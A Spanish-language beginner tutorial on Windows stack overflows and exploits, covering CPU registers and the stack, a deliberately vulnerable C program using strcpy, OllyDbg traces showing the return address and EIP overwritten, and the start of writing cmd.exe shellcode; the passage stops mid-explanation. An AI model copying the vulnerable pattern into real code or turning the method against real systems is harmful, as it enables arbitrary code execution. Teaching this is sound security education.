Exploits y Stack Overflows en Windows
Exploits y Stack Overflows en Windows
exploits y los buffers overflows, que parece algo mstico, y que cada dos por tres un script kiddie pregunta en el foro como compilar un exploit, como funciona un exploit o donde encuentro un exploit, me he decidido a hacer un taller de buffers overflows y exploits, en Windows :) Tambin veremos como crear una shellcode muy muy bsica, muy explicadita, para que se entienda perfectamente. Quizs, si el tema tiene xito, hagamos otro sobre Linux, aunque son bastante parecidos, en Linux la cosa cambia en muchos aspectos. Este documento esta basado en muchos que hay por la red, los cuales estn al final del mismo, y de la aportacin de muchos usuarios en diversos foros, listas de correo y como no, de exploits. Es mi primer texto "en serio", adems es bastante largo, y aunque creo que no contiene errores muy graves, puede tenerlos :P cualquier fallo del texto, comentario, opinin, amenaza, donacin, oferta de trabajo, etc... al correo :) (abstenerse gilipolleces) Vamos al tema :) -== INTRODUCCION ==La teora sobre el tema la iremos viendo segn avance el documento, aunque antes de nada, haremos unas definiciones muy simples. La idea de dichas definiciones es saber "lo bsico", ya que este texto esta dirigido a iniciados, no a gente que ya domina el tema, aqu no vera nada nuevo, pero es imprescindible buscar por Internet mucha mas informacin (sobre todo lo referente a programar en C/C++ y ASM) - C/C++ Es un lenguaje de programacin muy extendido, multiplataforma, y fcil. Es la base de nuestros sistemas operativos(salvo cosas en ensamblador como rutinas de boot) y es tremendamente potente y optimizado. Sus archivos bsicos son *.c y *.cpp (para los C++). Es el lenguaje ms recomendable para aprender, el ms til. - Ensamblador (ASM) Es el lenguaje ms "bsico" que permite al programador interactuar con el CPU. Las instrucciones en ASM se pasan a binario, que es lo que "entiende" la CPU, es decir, 1s y 0s (aunque se agrupan en cadenas hexadecimales para mayor claridad). Realmente, un compilador ASM lo nico que hace es calcularte las etiquetas, los saltos y los calls, y "encapsular" el ejecutable. Todos los lenguajes de programacin, a la hora de compilar (obviamente, los lenguajes de script no), convierten su cdigo en instrucciones ASM. Instrucciones en ASM (Intel) son por ejemplo mov, push, pop, etc....(En AT&T,
seria popl, movl, pushl, etc..) Es un lenguaje de programacin difcil de aprender, solo para cosas puntuales o que requieran una gran optimizacin, pero saberlo te dar muchas alegras :) Cualquier informtico debera poder entender y dominar las instrucciones bsicas. - Debugger (Depurador) Un debugger es un programa que permite ir "paso a paso", instruccin a instruccin a otro programa. Al ir instruccin a instruccin, podemos ver completamente que esta pasando, los registros, la memoria, etc, as como muchas mas funciones muy interesantes. Su funcin principal es la de auditar cdigo, y ver el porque falla (o simplemente porque no realiza lo que queremos que haga), es una herramienta imprescindible para cualquier programador. Lo que pasa que tambin puede servir para otras cosas :) - Dissasembler (Desamblador) Un desamblador es un programa que te muestra el cdigo de un programa, una dll, lo que sea que este hecho de cdigo que el desamblador entienda. Normalmente, te muestra su cdigo en ASM (por ejemplo, un programa codeado en C, te muestra la conversin de dichas instrucciones C en ASM), aunque hay desambladores que permiten ver su cdigo (o parte de el) de programas hechos en JAVA o VBasic, por ejemplo. Normalmente, debugger y dissasembler van en el mismo programa, los mas usados son el Ollydbg (el que usare aqu), Softice, IDA, Win32dasm... - Hex Editor (Editor Hexadecimal) No hay que confundir un dissasembler con un hex editor. El primero te muestra el cdigo de un programa, el hex editor simplemente te muestra el contenido de un archivo, del tipo que sea, como un dumpeo hexadecimal y/o binario, as como la posibilidad de modificar y guardar dicho archivo. Se usa para rastrear y modificar archivos que usan programas, tanto para fines "de programacin" (el porque al cargar el archivo falla, el porque no se escribe bien, etc...) como de "hacking" o "cracking". A mi, personalmente, me gusta mucho el Hackman, pero se que hay mucho mejores :P Cuestin de buscar. - La CPU (microprocesador) La CPU es el "corazn" de un ordenador. Es la unidad de hardware encargada de ejecutar las instrucciones de un programa o sistema operativo, instruccin a instruccin, que estn en una determinada rea de memoria. Se ayuda de registros donde almacena variables, datos o direcciones. Una explicacin completa sobre el tema, requerira uno o varios libros, aunque googleando se encuentra muchsima informacin. - Registros de la CPU. La cpu (microprocesador) contiene una serie de registros, donde almacena variables, datos o direcciones de las operaciones que esta realizando en este momento. El lenguaje ASM se sirve de dichos registros como variables de los programas y rutinas, haciendo posible cualquier programa (de longitudes considerables, claro). Los ms interesantes son:
EIP Extended Instruction Pointer. El registro EIP siempre apunta a la siguiente direccin de memoria que el procesador debe ejecutar. La CPU se basa en secuencias de instrucciones, una detrs de la otra, salvo que dicha instruccin requiera un salto, una llamada...al producirse por ejemplo un "salto", EIP apuntara al valor del salto, ejecutando las instrucciones en la direccin que especificaba el salto. Si logramos que EIP contenga la direccin de memoria que queramos, podremos controlar la ejecucin del programa, si tambin controlamos lo que haya en esa direccin. EAX, EBX... ESI, EDI... Son registros multipropsito para usarlo segn el programa, se pueden usar de cualquier forma y para alojar cualquier direccin, variable o valor, aunque cada uno tiene funciones "especificas" segn las instrucciones ASM del programa: EAX: Registro acumulador. Cualquier instruccin de retorno, almacenara dicho valor en EAX. Tambin se usa para sumar valores a otros registros en funciones de suma, etc.... EBX Registro base. Se usa como "manejador" o "handler" de ficheros, de direcciones de memoria (para luego sumarles un offset) etc... ECX Registro contador. Se usa, por ejemplo, en instrucciones ASM loop como contador, cuando ECX llega a cero, el loop se acaba. EDX Registro direccin o puntero. Se usa para referenciar a direcciones de memoria mas el offset, combinado con registros de segmento (CS, SS, etc..) ESI y EDI Son registros anlogos a EDX, se pueden usar para guardar direcciones de memoria, offsets, etc.. CS, SS, ES y DS Son registros de segmento, suelen apuntar a una cierta seccin de la memoria. Se suelen usar Registro+Offset para direccionar a una direccin concreta de memoria. Los mas usados son CS, que apunta al segmento actual de direcciones que esta ejecutando EIP, SS, que apunta a la pila y DS, que apunta al segmento de datos actual. ES es "multipropsito", para lo mismo, referenciar direcciones de memoria, y un largo etc... ESP EBP Extended Stack Pointer y Extender Base Pointer. Ambos los veremos ms en profundidad cuando explique la pila. Sirven para manejar la pila, referenciando la "cima" (ESP) y la "base" (EBP). ESP siempre contiene la direccin del inicio de la pila (la cima) que esta
usando el programa o hilo (thread) en ese momento. Cada programa usara un espacio de la pila distinto, y cada hilo del programa tambin. EBP seala la direccin del final de la pila de ese programa o hilo. - Que es una vulnerabilidad? Una vulnerabilidad es un fallo que compromete la seguridad del programa o sistema. Aunque se le asocia tambin a "bug" (fallo), pero no es lo mismo. Un bug es un fallo de cualquier tipo, desde que un juego no funcione bien porque vaya lento, a un programa que funciona mal al intentar hacer una divisin por 0. Las vulnerabilidades son bugs de seguridad, que pueden comprometer el sistema o el programa, permitiendo al "hacker" ejecutar cdigo arbitrario, detener el sistema o aprovecharse del mismo para sacar cualquier tipo de beneficio. - Que es un exploit? Un exploit es un cdigo, un "mtodo", un programa, que realiza una accin contra un sistema o programa que tiene una vulnerabilidad, "explotndola", y sacando un beneficio de la misma. Dicho beneficio normalmente es la ejecucin de cdigo (dentro de ese programa, con los privilegios del mismo) que nos beneficia, dndonos por ejemplo una contrasea, o dndonos una shell de comandos, aadir un usuario administrador al sistema, o incluso lo nico que hacen es detener el servicio o el sistema, segn nuestros propsitos. Habra que distinguir entre exploits "completos" (los que estn completamente funcionales) y los POCs (proof of concept) que son exploits que demuestran que dicha vulnerabilidad existe y que es explotable, pero que no dan ningn beneficio o el beneficio es mnimo. Normalmente se usan estos ltimos para evitar el uso de los mismos por niatos (script kiddies) o para evitar gusanos (supongo que se acuerdan del blaster o del sasser, se liberaron los exploits completamente funcionales) - Que es una shellcode? Una shellcode es un cdigo bsico en ASM, muy corto generalmente, que ejecuta los comandos que queremos, como system("cmd.exe") (ejecuta una shell msdos en windows); o execv("/bin/sh") (ejecuta una shell sh en Linux/Unix), o sirve para aadir un usuario a la cuenta del sistema, para descargar un troyano y ejecutarlo, para dejar abierto un puerto conectado a una shell, etc.... Es el cdigo que ejecutara el programa vulnerable una vez tengamos su control. No es nada difcil de programar sabiendo ASM bsico y como funciona tu SO. Una vez programada en ASM (para testearla, por ejemplo, adems de que es mas fcil programarla en ASM que directamente con opcodes :P), se pasa a un string, compuesto por los opcodes (codigos de operacion, en hexadecimal) de dichas instrucciones ASM. Lo veremos mas adelante :) - Que es un overflow? Un overflow es, bsicamente, cuando resguardamos espacio de memoria insuficiente para una variable (allocate), y le introducimos ms datos a dicha variable de los que puede soportar. La variable "desborda", y los datos que no caben sobrescriben memoria continua a dicha variable. Si declaramos una variable que solo debe soportar 8bytes, si le movemos 10bytes, los 2bytes restantes no se pierden, sino que sobrescriben la memoria contigua a dicha variable. Hay distintos tipos de overflow, stack overflow (el que veremos aqu, tambin llamado buffer overflow, o desbordamiento de buffer, etc...), heap overflow (ya lo veremos en algn otro texto, se refiere a desbordar una variable declarada en el heap en vez de en la pila...), format string overflow (bugs de formato de las
cadenas de texto), integer overflow (debidos a declaraciones de variables con un espacio mnimo o negativo que proveemos nosotros...), etc... - Porque se le llama Stack Overflow? La pila (stack) es una estructura tipo LIFO, Last In, First Out, ultimo en entrar, primero en salir. Pensad en una pila de libros, solo puedes aadir y quitar libros por la "cima" de la pila, por donde los aades. El libro de mas "abajo", ser el ultimo en salir, cuando se vace la pila. Si tratas de quitar uno del medio, se puede desmoronar. Bien, pues el SO (tanto Windows como Linux, como los Unix o los Macs) se basa en una pila para manejar las variables locales de un programa, los retornos (rets) de las llamadas a una funcin (calls), las estructuras de excepciones (SEH, en Windows), argumentos, variables de entorno, etc... Por ejemplo, para llamar a una funcin cualquiera, que necesite dos argumentos, se mete primero el argumento 2 en la pila del sistema, luego el argumento 1, y luego se llama a la funcin. Si el sistema quiere hacer una suma (5+2), primero introduce el 2 argumento en la pila (el 2), luego el 1 argumento (el 5) y luego llama a la funcin suma. Bien, una "llamada" a una funcin o direccin de memoria, se hace con la instruccin ASM Call. Call direccin (llamar a la direccin) call registro (llama a lo que contenga ese registro). El registro EIP recoge dicha direccin, y la siguiente instruccin a ejecutar esta en dicha direccin, hemos "saltado" a esa direccin. Pero antes, el sistema debe saber que hacer debe seguir ejecutando cdigo. El programa puede llamara la funcin suma, multiplicacin, o simplemente mostrarlo por saber por donde seguir la ejecucin una vez cuando termine la funcin, por donde pero con el resultado, hacer una pantalla. Es decir, la CPU debe terminada la funcin suma.
Para eso sirve la pila :) Justo al ejecutar el call, se GUARDA la direccin de la siguiente instruccin en la pila. Esa instruccin se denomina normalmente RET o RET ADDRESS, direccin de "retorno" al programa principal (o a lo que sea). Entonces, el call se ejecuta, se guarda la direccin, coge los argumentos de la suma, se produce la suma y, como esta guardada la direccin por donde iba el programa, VUELVE (RETORNA) a la direccin de memoria que haba guardada en la pila (el ret), es decir, a la direccin siguiente del call. Vamos a verlo por pasos :) 1 Llegamos al call (EIP apunta a la instruccin call) 2 Se ejecuta el call. EIP apunta a la instruccin del call, es decir, donde debemos ir) 3 Se guarda la siguiente instruccin despus del call en la pila (el ret) En ese momento, ESP | ESP +4bytes | ESP +8bytes | la pila esta as: RET ADDRESS | EBP -8bytes argumento 1 | EBP -4bytes argumento 2 | <--- EBP apunta aqu (la base de la pila)
4 La cpu ejecuta la/las instrucciones dentro de la funcin suma (obviamente, dentro de la funcin suma se usara la pila para almacenar datos y dems...) 5 La funcin suma alcanza la instruccin RETN (retorno), y EIP recoge la direccin RET ADDRESS, y vuelve al programa principal, justo despus del call suma. Espero que se entienda, es muy importante, ya que un stack overflow significa introducir suficientes datos en la pila, hasta poder sobrescribir dicho ret address, pero eso lo veremos mas adelante. Imaginaos que al hacer ese call, dentro de la funcin suma necesitamos un espacio para alojar por ejemplo, el resultado, o uno de los operandos, lo que sea. Bien, cuando el programa o el SO piden "espacio" para alojar una/s variable/s, un dato, un nombre o lo que sea, dicho nombre normalmente se guarda en la pila (no entraremos en temas de heap). Bsicamente, lo que se hace es crear un "espacio" entre un nuevo ESP y EBP (cima y base de la pila) para alojar las variables. Son "nuevos" para no sobrescribir los variables y valores que ya haya en la pila, de otras funciones o programas. Posteriormente, se introduce el EBP antiguo en la pila (se pushea), para DONDE estaba la anterior base de la pila, la pila del proceso principal. tambin es importante, es el EBP salvado del proceso anterior. Cuando la suma acabe, EBP tomara el valor del EBP salvado, y estaremos otra vez en "trozo" de pila del proceso principal. Ahora mismo, la pila esta as: ESP ESP +4bytes ESP +8bytes ESP +12bytes | | | | EBP anterior salvado RET ADDRESS argumento 1 de suma argumento 2 de suma | | | | EBP - 4 <---- El EBP actual apunta aqu EBP +4 EBP + 8 saber Esto funcin el
Tras esto, se "sustrae", se "resta" a ESP tantos bytes como necesitemos de espacio para nuestra variable. Al sustraerle bytes, la diferencia entre ESP y EBP son esos bytes, donde irn nuestros datos (nombre, datos, lo que sea). Por ejemplo, si nuestra variable "nombre", necesita 12 bytes (siempre se hace con mltiplos de 4, por temas de alineamiento en la pila), pues se le sustrae a ESP 12 bytes: ESP ESP ESP ESP ESP ESP ESP +4 +8 +12 +16 +20 +24 | | | | | | | basura, aun no hay nada inicializado| EBP -16 basura | EBP -12 basura | EBP -8 EBP anterior salvado | EBP -4 RET ADDRESS | EBP (el EBP no cambia) argumento 1 de suma | EBP +4 argumento 2 de suma | EBP +8
Como se ve, hay 4+4+4 bytes de basura (basura quiere decir que son datos que haba antes ah, de anteriores usos de la pila, pero que no nos sirven) para nuestro nombre o lo que sea, de 12 bytes. Pero, si esos bytes no son suficientes, al introducir nuestro nombre por ejemplo, si solo tenemos espacio para 12 bytes (12 caracteres), y introducimos 14, los 2 bytes que sobran, sobrescribirn la memoria contigua a la declarada en la variable, es decir, sobrescribirn el EBP de la anterior funcin, si metemos 4 lo sobrescribiremos completamente:
Introducimos AAA...A (16 As) para ver que pasa (esto no se hara con push, que aumentan ESP, sino con instrucciones MOV) ESP ESP ESP ESP ESP ESP ESP +4 +8 +12 +16 +20 +24 | | | | | | | AAAA | EBP -16 AAAA | EBP -12 AAAA | EBP -8 (EBP anterior salvado sobrescrito) AAAA | EBP -4 RET ADDRESS | EBP argumento 1 de suma | EBP +4 argumento 2 de suma | EBP +8
Y si le metemos otras 4 AAAA, sobrescribiremos el ret, que es lo que nos interesa :) Bien, pasemos a la prctica real, donde se vera todo mucho mejor explicado :) -== EJEMPLO CODIGO VULNERABLE A STACK OVERFLOW ==Hache esta el tpico tpico tpico cdigo de stack overflow. Cualquiera que haya ledo un doc sobre buffer overflow, habr visto un cdigo semejante (sino igual) a este. Y, como todos los tutoriales sobre programacin empiezan con el "Hola Mundo", yo empezare con el cdigo tpico vulnerable :) El cdigo esta comentado (//) para que entendis cada lnea: /* vuln1.c por Rojodos */ #include <stdio.h> // librera stdio.h, funciones bsicas de Entrada/Salida int main (int argc, char **argv){ // La funcin "principal" del programa funcin char buffer[64]; //Declaramos un array con 64 bytes de espacio if (argc < 2){ // Si los argumentos son menores que 2... printf ("Introduzca un argumento al programa\n"); //Printeamos return 0; // y retornamos 0 a la funcin main, y el programa acab a } strcpy (buffer, argv[1]); // Aqui es donde esta el fallo. return 0; // Devolvemos 0 a main, y el programa acaba. } El fallo esta en la funcin strcpy. Esa funcin copiara lo que hayamos metido por argumentos al programa (argv[1]) dentro de la variable buffer. Pero buffer solo tiene espacio para 64 caracteres, no hay ningn chequeo de tamao de la fuente (eso se hace por ejemplo, con la funcin mas segura strncpy), y por argumentos al programa le podemos meter lo que queramos. Si lo compilamos (con cualquier compilador C/C++ en Windows, recomiendo Dev Cpp o Visual C++), generamos el archivo vuln1.exe Al ejecutarlo en una consola MSDOS as: Microsoft Windows XP [Versin 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. F:\Rojodos\manual exploits>vuln1 AAAAA(Muchas AAAAs, mas de 64)AAAAAAAAAAA....
Os saldr la tpica ventanita de que vuln1.exe ha detectado un problema y debe cerrarse. Si pinchis en "Para ver los datos de los errores, haga click aqu", veris que pone "Offset:41414141". "A" en hexadecimal es 41 (mirad la tabla en www.asciitable.com). Es decir, hemos sobrescrito la direccin de retorno de MAIN () (no de strcpy, pues la direccin de strcpy va ANTES de la variable buffer en la pila, ya que primero se declara buffer, y luego se llama a strcpy, con lo que la variable buffer esta "debajo", en direcciones mas altas, de strcpy en la pila) con AAAA --> 41414141 :) Esto lo podemos ver mucho mejor en un debugger, como el Ollydbg (en www.elhacker.net lo encontraras fcilmente, o en su pagina principal, googlead un poco) Usar un debugger, y mas el olly, es realmente fcil, no tiene ningn misterio. Si alguien se cree que es una herramienta para "elites" y sper difcil de usar, esta completamente equivocado. Bien, con el olly, cargamos el programa (File -> Open -> vuln1.exe). Veris que salen un montn de instrucciones en la ventana principal, con la direccin relativa de cdigo inicial de 00401000. Esta direccin es la direccin base del ejecutable en memoria (00400000, el 99% de los ejecutables se carga en esa direccin) mas el offset sealado en el PE header, que indica donde empieza el cdigo (entry point, en este caso el offset es +1000h). Tambin deberais ver a vuestra derecha, el estado de los registros de la CPU, EAX, EBX...ESI, EDI, EBP, ESP y EIP, y los valores que contienen. Abajo a la izquierda, deberais ver el dumpeo en hexadecimal, cosa que no usaremos, y abajo a la derecha, la pila (stack). Ah tenis que tener la vista casi fija :) Una vez cargado el ejecutable (se os abrir una ventanita de MS-DOS, pero que no sale nada, no os preocupis, el programa esta cargado en memoria, pero no se esta ejecutando aun),le metemos los argumentos (copiamos todas las AAAs que hay mas arriba en el texto, y nos vamos a Debug -> Arguments, y las copiamos ah). Os dir que tenemos que resetear el programa para que los argumentos tengan efecto (nos vamos a Debug-> Restart). Y listo :) Le damos a RUN (Debug -> Run F9) y.... Access violation when executing [41414141] Fijaros en el valor de EIP (ventana de los registros del CPU). EIP = 41414141 Ha tratado de ejecutar lo que hay en la direccin "AAAA" :) Vamos a ver esto un poco mas "pausado", para ver como funciona realmente. Hacemos un Restart (Debug->Restart) y vuelve el programa a su estado inicial (los argumentos siguen siendo las AAAs que metimos, no hay que cambiarlo). Esta vez vamos a poner un breakpoint en la funcin de strcpy, para ver en directo que esta pasando. Un breakpoint es un "punto de ruptura", que indica al debugger que cuando la ejecucin llegue ah (cuando el registro EIP seale la direccin de memoria donde hemos puesto el BP), se pare la ejecucin (NO SE EJECUTA LA INSTRUCCION SEALADA CON EL BP), para echar un vistazo, a ver que esta pasando :) Bajamos un poco por el cdigo, hasta que encontramos algo as:
004012CD |. 68 80124000
PUSH vuln1.00401280
; /format = ; \printf
"Introduzca un argumento al programa" 004012D2 |. E8 79170000 CALL <JMP.&msvcrt.printf> 004012D7 |. 83C4 10 ADD ESP,10 004012DA |. EB 17 JMP SHORT vuln1.004012F3 004012DC |> 83EC 08 SUB ESP,8 004012DF |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] 004012E2 |. 83C0 04 ADD EAX,4 004012E5 |. FF30 PUSH DWORD PTR DS:[EAX] 004012E7 |. 8D45 B8 LEA EAX,DWORD PTR SS:[EBP-48] 004012EA |. 50 PUSH EAX 004012EB |. E8 50170000 CALL <JMP.&msvcrt.strcpy> 004012F0 |. 83C4 10 ADD ESP,10
; ; ; ;
Os explico antes de nada, que es cada "cosa". 004012XX es la direccin relativa de memoria donde esta el ejecutable. Es decir, su direccin relativa en la RAM. Como ya he dicho, todos los ejecutables cargados en memoria, empiezan en 00400000+offset del entry point (que normalmente es 1000h, osea, el punto inicial en la memoria de inicio del cdigo del programa es 00401000h). EIP va cogiendo cada direccin, una detrs de otra, y la CPU ejecuta la instruccin contenida en esa direccin. 68 80124000 --> Son los "opcodes" de la instruccin ASM, mas o menos como decir que es la instruccin ASM convertida en hexadecimal (mas bien de binario 01010.. a hexadecimal, para que lo podamos comprender mucho mejor). Esto nos vendr bien para que hagamos nuestra shellcode :) PUSH vuln1.00401280 --> instrucciones en ASM, en este caso esta introduciendo en la pila la direccin del ejecutable (seccin .data) donde esta el string "Introduzca un..." Lo dems, es una "ayuda" del ollydbg, que te puede decir por ejemplo que estas introduciendo en la pila (format="Introduzca..."), o a que estas llamando (CALL <JMP.&msvcrt.printf> ; \printf), etc.... Bien, el printf ese, es el cdigo que se ejecuta si no le metemos argumentos al programa, no nos tiene porque interesar (es el cdigo que se ejecuta cuando no metemos argumentos al programa) Pero si esto: 004012EB |. E8 50170000 004012F0 |. 83C4 10 CALL <JMP.&msvcrt.strcpy> ADD ESP,10 ; \strcpy
Aqu se produce la llamada a la funcin vulnerable (llama a la DLL msvcrt.dll, donde esta la funcin C strcpy) y si os fijis, la siguiente direccin a ejecutar es 004012F0 ADD ESP,10. Cuando se produzca el Call strcpy, se pusheara en la pila 004012F0, que es la direccin de retorno (ret address). Para verlo, pondremos un breakpoint en la llamada a strcpy. Pulsis con el ratn en esa direccin, y pulsis F2. Se tendra que iluminar de rojo esa direccin. Pues tras ponerle el BP, le damos a RUN (F9) El programa se detiene antes de ejecutar esa instruccin (fijaos que ahora, aparte de rojo, aparece con un cuadro negro la direccin de memoria, significa
que esa es la siguiente direccin a ejecutar). Por si no nos ha quedado claro, EIP marca precisamente esa direccin, 004012EB Que hay en la pila? 0022FF00 0022FF28 |dest = 0022FF28 0022FF04 003D24A3 \src = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAAAAAs) AAAAAAAAAAAAAAAA" ESP apunta a 0022FF00, donde vemos el destino (0022FF28, que es la direccin de la variable buffer en la pila, mas "abajo", osea en direcciones mas altas). Y "src" (source -> fuente) es lo que vamos a copiar en el destino, 0022FF28. Esta referenciado por 003D24A3, que precisamente es la direccin de argv[1], donde comienza la cadena "AAAAA....". Sigamos. Que hay en 0022FF28? Pues espacio "reservado" para la variable buffer. Sin embargo, vemos algo as: 0022FF28 |FFFFFFFF <-- Empiezan los 64 bytes reservados para buffer, es basura 0022FF2C |77BFAB33 RETURN to msvcrt.77BFAB33 from msvcrt.77C054FD <-- Basura 0022FF30 |77C09348 RETURN to msvcrt.77C09348 from msvcrt.free <-- Basura 0022FF34 |003D25A8 <-- Basura 0022FF38 |003D2470 <-- .. 0022FF3C |0000000C <-- ... 0022FF40 |77C08A55 RETURN to msvcrt.77C08A55 from msvcrt.77C09292 <--basura 0022FF44 |004D7EF9 0022FF48 |0012D548 0022FF4C |7FFDF000 <-- Todo esto hasta abajo siguie siendo basura 0022FF50 |000000ED 0022FF54 |00000003 0022FF58 |0022FF60 0022FF5C |77BEE921 RETURN to msvcrt.77BEE921 from msvcrt.77C089C2 <--basura 0022FF60 |0022FFA0 0022FF64 |004010C0 RETURN to vuln1.004010C0 from <JMP.&msvcrt.__getmainargs> 0022FF68 |00403000 vuln1.00403000 <-- basura... 0022FF6C |00403004 vuln1.00403004 <--- AQUI terminan los 64 bytes reservados para buffer (incluido) 0022FF70 ]0022FFA0 <-- EBP salvado del anterior proceso (main) 0022FF74 |00401170 RETURN to vuln1.00401170 from vuln1.004012A6 <-- direccin de retorno de main() Si os fijis, justo debajo de donde terminan los 64 bytes reservados para buffer (todo lo que hay es basura, de anteriores funciones y tal, que no se van a volver a usar), esta el EBP anterior salvado (el EBP de la funcin main, la base de SU pila) y debajo esta la direccin de retorno de la funcin main. Veis que esta en la direccin 0022FF74, y que apunta a la instruccin 00401170. Cuando la funcin main() del programa termina, se ejecuta lo que haya en esa direccin. Y que hay ah? 00401170 |. 89C3 00401172 |. E8 59180000 |[msvcrt._cexit 00401177 |. 891C24 0040117A \. E8 51190000 \ExitProcess MOV EBX,EAX CALL <JMP.&msvcrt._cexit> MOV DWORD PTR SS:[ESP],EBX CALL <JMP.&KERNEL32.ExitProcess> ; | ; ; | ;
Una llamada a exit en msvcrt.dll y posteriormente una llamada a la API ExitProcess dentro de Kernel32.dll, el programa termina. Fcil no? Bueno, estamos parados justo antes de entrar en el strcpy. Para no tener que ir saltando por la DLL (lo que hara seria ir instruccin por instruccin de como trabaja strcpy() en la msvcrt.dll), en vez de pulsar F7 (que ENTRARIAMOS en el CALL), le damos a F8, que "salta" a la siguiente instruccin sin entrar en el CALL. (Es decir, el call se ejecuta as como todas las instrucciones que conlleva, pero nosotros no lo vemos, el programa se para justo despus de terminar la funcin strcpy). Si pulsis F9 (Run), el programa terminara con el fallo famoso, y no veremos nada, as que pulsad F8. Ahora se ha ejecutado la funcin strcpy, se han copiado todas las AAAs al buffer, y estamos justo debajo de la llamada a Strcpy(): 004012EB |. E8 50170000 004012F0 |. 83C4 10 CALL <JMP.&msvcrt.strcpy> ADD ESP,10 <--- Estamos aqu ; \strcpy
EIP apunta a 004012F0, es la siguiente instruccin que se va a ejecutar. Miremos la pila: 0022FF00 0022FF28 ASCII "14AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAAAAAAAAA" 0022FF04 003D24A3 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAAAAAAAAA" 0022FF08 0022FF70 ASCII "AAAAAAAAAAAAAAAAAAAAAA(muchas AAAAs) AAAAAAAAAAAAAAAAAAAAAAAA" 0022FF0C 004012C4 RETURN to vuln1.004012C4 from vuln1.004013D0 0022FF10 77BE2048 msvcrt.77BE2048 0022FF14 0022FEF8 0022FF18 77BFAC19 RETURN to msvcrt.77BFAC19 from msvcrt.77C054FD 0022FF1C 0022FFE0 ASCII "AAAAAAAAAAAAA" 0022FF20 77C03EB0 msvcrt._except_handler3 0022FF24 00000000 0022FF28 41414141 <-- Aqui empieza la variable buffer 0022FF2C 41414141 0022FF30 41414141 0022FF34 41414141 0022FF38 41414141 0022FF3C 41414141 0022FF40 41414141 0022FF44 41414141 0022FF48 41414141 0022FF4C 41414141 0022FF50 41414141 0022FF54 41414141 0022FF58 41414141 0022FF5C 41414141 0022FF60 41414141 0022FF64 41414141 0022FF68 41414141 0022FF6C 41414141 <--- Aqu terminaban los 64 bytes de tamao de buffer. A partir de aqu hemos hecho el overflow. 0022FF70 41414141 <--- EBP salvado del anterior proceso, sobrescrito con AAAA 0022FF74 41414141 <--- Antigua direccin del ret del main () sobrescrito con
Hay muchas cosas en la pila (fijaos por donde han entrado) derivadas del uso del strcpy: 0022FF00 0022FF28 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAAAAAAAAA" La direccion 0022FF00 contiene la direccin de la pila (0022FF28) donde empieza la variable buffer, donde empiezan todas nuestras AAAAs... 0022FF04 003D24A3 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAAAAAAAAA" La direccin 0022FF04 contiene la direccin en el HEAP (memoria dinmica) de la variable argv[1], donde estn las AAAs que introducimos por argumento al programa. 0022FF08 0022FF70 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAA" La direccin 0022FF08 contiene la direccin del antiguo EBP del main, que ahora esta sobrescrito con AAAAs... Y mas cosas que no vienen al caso, pero como veis, hemos sobrescrito la direccin de retorno del main (), la que llamaba a finalizar el proceso (Hemos sobrescrito mucho ms :P, pero bueno.... as se ve mejor). Eso que quiere decir? Si vemos nuestro programita principal, justo despus del call (la ejecucin ha vuelto al programa principal): 004012EB 004012F0 004012F0) 004012F3 004012F8 004012F9 |. E8 50170000 |. 83C4 10 |> B8 00000000 |. C9 \. C3 CALL <JMP.&msvcrt.strcpy> ; \strcpy ADD ESP,10 <--- Estamos aqu parados (EIP = MOV EAX,0 LEAVE RETN <-- cuando llegue aqu.... vale caso cada 10 y al
Cuando llegue a ejecutar el RETN (antes de ejecutarlo), veremos que EBP 41414141, ya que era la "base" de la pila del anterior proceso, en este main() (se salva para delimitar los "trozos" de pila que corresponden a funcin, como ya he dicho) y que ESP ha "disminuido" debido al ADD ESP, LEAVE y que ahora apunta a 0022FF74.
0022FF74 41414141 <--- Antigua direccin del ret del main () A partir de aqu hemos hecho el overflow. Al ejecutar el RETN, EIP "recoger" la direccin que apunta ESP (0022FF74) que debera ser la direccin de la llamada a ExitProcess(), pero que en este caso es 41414141 porque la hemos sobrescrito. La CPU tratara de ejecutar lo que haya en 41414141, que esta fuera del segmento
de usuario, y petara :) Un bonito overflow de pila, normal y corriente :) -== PARA QUE NOS SIRVE UN STACK OVERFLOW? ==Bien, y todo esto para que nos sirve? Bueno, y si hubiramos sobrescrito la direccin del retorno de main con la direccin de un cdigo que nos fuera provechoso? Ese cdigo provechoso es nuestra shellcode :) Si conseguimos que el programa salte a donde nosotros queramos, donde este nuestra shellcode, podremos ejecutar CUALQUIER cdigo (funciones, etc... cualquier cosa, aunque mientras mas complicada, mas grande ser la shellcode, y hay que tener en cuenta el tamao del buffer...). Una shellcode puede ejecutar cualquier cosa, tanto en Windows, como en Linux y derivados. Y donde metemos nuestra shellcode???? (ahora lo veremos) Y mas importante aun... COMO LA HACEMOS? Una shellcode se hace en ensamblador, en ASM. No es tan difcil como parece :) Tratare de explicar como codear una pequea y simple shellcode que ejecute una shell cmd. Bien, antes de nada, aqu es ms que recomendable tener el Visual C++ 6.0. Bsicamente, lo que queremos es convertir esta funcin C, en un cdigo ASM, y posteriormente, ese cdigo convertirlo en hexadecimal, y pasrselo al programa como parmetro, pero ya entraremos en eso. system ("cmd.exe"); // ejecuta el comando "cmd.exe", con lo que sale una shell MSDOS. Tambin podamos haber usado WinExec() en vez de system, o incluso CreateProcess() eso se lo dejamos a cada uno que pruebe :) Bien, como ya he dicho, llamar a system, como una funcin cualquiera, en ASM, seria as: push 0 --> en realidad, system se llama as: system("cmd.exe0"), con un null (0) para delimitar el final de la cadena "cmd.exe" push direccin_cadena_cmd --> system realmente se llama as: system(direccin del comando) call system --> offset de system en la msvcrt.dll Bien, tenemos que conseguir 3 cosas: 1- Meter un NULO (NULL -> 0x00, 0) en la pila, para delimitar el fin de cadena de cmd.exe--> "cmd.exe\00". Esto nos puede acarrear problemas con strcpy, si strcpy detecta un 0 en una cadena, deja de copiar el resto de la cadena. Cualquier funcin que trabaje con cadenas, un 0, un 0x00, un \x00 lo interpreta como fin de 